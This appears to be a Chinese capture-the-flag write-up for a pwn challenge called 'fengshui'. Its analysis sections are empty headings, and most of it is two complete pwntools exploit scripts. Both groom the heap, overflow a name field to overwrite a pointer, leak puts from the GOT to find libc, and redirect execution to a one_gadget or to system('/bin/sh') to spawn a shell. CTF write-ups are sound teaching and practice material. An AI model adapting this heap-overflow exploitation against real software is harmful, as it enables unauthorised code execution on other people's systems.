fengshui

  • 题目文件:

1 分析

1.1 程序基本信息

首先查看二进制文件信息:

1
2
3
4
5
6
7
8
9
$ file fengshui
fengshui: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.24, BuildID[sha1]=45b09ec28a895f08b53682ead4e084874ee4b466, stripped
$ checksec fengshui
[*] '/mnt/hgfs/vmshare-1604/fengshui/ida/fengshui'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

1.2 IDA源码分析

程序有4个功能:添加person,删除person,修改person名字,打印person信息。

1.2.1 添加person

1.2.2 删除person

1.2.3 修改person名字

1.2.4 打印person信息

2 利用思路

3 exp

使用one_gadget的方式获取shell

搜索libc中的可用gadget,挨个试试,最后一个在我的机器上可以成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
bling@bling:~$ one_gadget libc-2.23.so 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

  • exp如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#coding=utf-8
from pwn import *
context(arch = "amd64",os = "linux",log_level = "debug")

myelf = ELF("./fengshui")
myproc = process(myelf.path)

def add(name_len,name,school_len,school,yes_no):
myproc.recvuntil("option:")
myproc.sendline(str(1))
myproc.recvuntil("please input the length of name")
myproc.sendline(str(name_len))
myproc.recvuntil("please input name")
myproc.sendline(name)
myproc.recvuntil("please input the length of schoolname")
myproc.sendline(str(school_len))
myproc.recvuntil("please input the school name")
myproc.sendline(school)
myproc.recvuntil("is a tutor?(yes/no)")
myproc.sendline(yes_no)

def delete(id):
myproc.recvuntil("option:")
myproc.sendline(str(2))
myproc.recvuntil("input a id to delete")
myproc.sendline(str(id))

def edit(id,option,len,name):
myproc.recvuntil("option:")
myproc.sendline(str(3))
myproc.recvuntil("input a id to edit")
myproc.sendline(str(id))
myproc.recvuntil("option:")
myproc.sendline(str(option))
myproc.recvuntil("please input the length of new name")
myproc.sendline(str(len))
myproc.recvuntil("please input new name")
myproc.sendline(name)


def sayhello(id):
myproc.recvuntil("option:")
myproc.sendline(str(4))
myproc.recvuntil("input a id to sayhello")
myproc.sendline(str(id))

for i in range(10):
add(0x10,"xiayuan",20,"NUDT","yes")
add(0x20,"xiayuan",20,"NUDT","yes")
add(0x30,"xiayuan",20,"NUDT","yes")
add(0x40,"xiayuan",20,"NUDT","yes")
add(0x50,"xiayuan",20,"NUDT","yes")
add(0x60,"xiayuan",20,"NUDT","yes")
add(0x70,"xiayuan",20,"NUDT","yes")

add(0x10,"xiayuan70",20,"NUDT70","yes")
add(0x10,"xiayuan71",20,"NUDT71","yes")
add(0x10,"xiayuan72",20,"NUDT72","yes")
add(0x10,"xiayuan73",20,"NUDT73","yes")

payload = "a" * 0x40 + p64(71) + p64(myelf.got["puts"]) + p64(0x400760) + p64(0)
#payload = "a" * 0x40 + p64(71) + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(0) #+ p64(0)
edit(70,1,990,payload)
sayhello(71)
myproc.recv()
puts_addr = u64(myproc.recvuntil("\n")[:-1].ljust(8,"\x00"))
log.warn("put addr: 0x%x" % puts_addr)

libc_base = puts_addr - 0x6F690
sh_gadget = libc_base + 0xf1147
log.warn("libc base: 0x%x" % libc_base)
log.warn("gadget addr: 0x%x" % sh_gadget)

payload = "a" * 0x40 + p64(73) + p64(0) + p64(sh_gadget) + p64(0)
edit(72,1,990,payload)
sayhello(73)

#gdb.attach(myproc)
myproc.interactive()

使用system函数获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#coding=utf-8
from pwn import *
context(arch = "amd64",os = "linux",log_level = "debug")

myelf = ELF("./fengshui")
mylibc = ELF("./libc-2.23.so")
myproc = process(myelf.path)

def add(name_len,name,school_len,school,yes_no):
myproc.recvuntil("option:")
myproc.sendline(str(1))
myproc.recvuntil("please input the length of name")
myproc.sendline(str(name_len))
myproc.recvuntil("please input name")
myproc.sendline(name)
myproc.recvuntil("please input the length of schoolname")
myproc.sendline(str(school_len))
myproc.recvuntil("please input the school name")
myproc.sendline(school)
myproc.recvuntil("is a tutor?(yes/no)")
myproc.sendline(yes_no)

def delete(id):
myproc.recvuntil("option:")
myproc.sendline(str(2))
myproc.recvuntil("input a id to delete")
myproc.sendline(str(id))

def edit(id,option,len,name):
myproc.recvuntil("option:")
myproc.sendline(str(3))
myproc.recvuntil("input a id to edit")
myproc.sendline(str(id))
myproc.recvuntil("option:")
myproc.sendline(str(option))
myproc.recvuntil("please input the length of new name")
myproc.sendline(str(len))
myproc.recvuntil("please input new name")
myproc.sendline(name)


def sayhello(id):
myproc.recvuntil("option:")
myproc.sendline(str(4))
myproc.recvuntil("input a id to sayhello")
myproc.sendline(str(id))

for i in range(10):
add(0x10,"xiayuan",20,"NUDT","yes")
add(0x20,"xiayuan",20,"NUDT","yes")
add(0x30,"xiayuan",20,"NUDT","yes")
add(0x40,"xiayuan",20,"NUDT","yes")
add(0x50,"xiayuan",20,"NUDT","yes")
add(0x60,"xiayuan",20,"NUDT","yes")
add(0x70,"xiayuan",20,"NUDT","yes")

add(0x10,"xiayuan70",20,"NUDT70","yes")
add(0x10,"xiayuan71",20,"NUDT71","yes")
add(0x10,"xiayuan72",20,"NUDT72","yes")
add(0x10,"xiayuan73",20,"NUDT73","yes")

payload = "a" * 0x40 + p64(71) + p64(myelf.got["puts"]) + p64(0x400760) + p64(0)
#payload = "a" * 0x40 + p64(71) + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(0) #+ p64(0)
edit(70,1,990,payload)
sayhello(71)
myproc.recv()
puts_addr = u64(myproc.recvuntil("\n")[:-1].ljust(8,"\x00"))
log.warn("put addr: 0x%x" % puts_addr)

libc_base = puts_addr - 0x6F690
system_addr = libc_base + 0x45390
sh_addr = libc_base + next(mylibc.search("/bin/sh\x00"))
log.warn("libc base: 0x%x" % libc_base)
log.warn("system addr: 0x%x" % system_addr)
log.warn("sh addr: 0x%x" % sh_addr)

payload = "a" * 0x40 + p64(73) + p64(sh_addr) + p64(system_addr) + p64(0)
edit(72,1,990,payload)
sayhello(73)

#gdb.attach(myproc)
myproc.interactive()